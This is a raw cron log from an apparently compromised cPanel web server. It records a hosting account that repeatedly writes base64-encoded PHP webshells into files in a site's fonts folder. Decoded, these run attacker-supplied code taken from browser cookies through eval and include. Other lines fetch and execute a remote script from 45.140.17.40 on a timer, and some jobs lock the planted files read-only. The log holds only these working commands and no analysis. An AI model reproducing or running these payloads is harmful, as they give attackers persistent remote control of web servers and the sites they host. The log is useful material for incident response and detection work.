Sep 20 21:24:02 ip-184-168-122-23 CROND[11642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:24:02 ip-184-168-122-23 CROND[11644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:24:02 ip-184-168-122-23 CROND[11643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:25:01 ip-184-168-122-23 CROND[11728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:25:01 ip-184-168-122-23 CROND[11730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:25:01 ip-184-168-122-23 CROND[11731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:25:01 ip-184-168-122-23 CROND[11732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:25:01 ip-184-168-122-23 CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:25:01 ip-184-168-122-23 CROND[11734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:26:01 ip-184-168-122-23 CROND[11908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:26:01 ip-184-168-122-23 CROND[11909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:26:01 ip-184-168-122-23 CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:26:01 ip-184-168-122-23 CROND[11910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:26:01 ip-184-168-122-23 CROND[11917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:27:01 ip-184-168-122-23 CROND[12002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:27:01 ip-184-168-122-23 CROND[12003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:27:01 ip-184-168-122-23 CROND[12004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:27:01 ip-184-168-122-23 CROND[12005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:28:01 ip-184-168-122-23 CROND[12091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:28:01 ip-184-168-122-23 CROND[12093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:28:01 ip-184-168-122-23 CROND[12095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:28:01 ip-184-168-122-23 CROND[12094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:28:01 ip-184-168-122-23 CROND[12096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:29:02 ip-184-168-122-23 CROND[12176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:29:02 ip-184-168-122-23 CROND[12178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:29:02 ip-184-168-122-23 CROND[12179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:29:02 ip-184-168-122-23 CROND[12177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:30:01 ip-184-168-122-23 CROND[12275]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:30:01 ip-184-168-122-23 CROND[12284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:30:01 ip-184-168-122-23 CROND[12283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:31:01 ip-184-168-122-23 CROND[12375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:31:01 ip-184-168-122-23 CROND[12376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:31:01 ip-184-168-122-23 CROND[12378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:31:01 ip-184-168-122-23 CROND[12379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:31:01 ip-184-168-122-23 CROND[12381]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 21:32:01 ip-184-168-122-23 CROND[12468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:32:01 ip-184-168-122-23 CROND[12470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:32:01 ip-184-168-122-23 CROND[12471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:32:01 ip-184-168-122-23 CROND[12473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:32:01 ip-184-168-122-23 CROND[12474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:33:01 ip-184-168-122-23 CROND[12643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:33:01 ip-184-168-122-23 CROND[12644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:33:01 ip-184-168-122-23 CROND[12645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:33:01 ip-184-168-122-23 CROND[12646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:34:01 ip-184-168-122-23 CROND[12728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:34:01 ip-184-168-122-23 CROND[12727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:34:01 ip-184-168-122-23 CROND[12726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:34:01 ip-184-168-122-23 CROND[12729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:34:01 ip-184-168-122-23 CROND[12730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:35:01 ip-184-168-122-23 CROND[12825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12828]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:35:01 ip-184-168-122-23 CROND[12831]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 21:35:01 ip-184-168-122-23 CROND[12833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:36:01 ip-184-168-122-23 CROND[12926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:36:01 ip-184-168-122-23 CROND[12928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
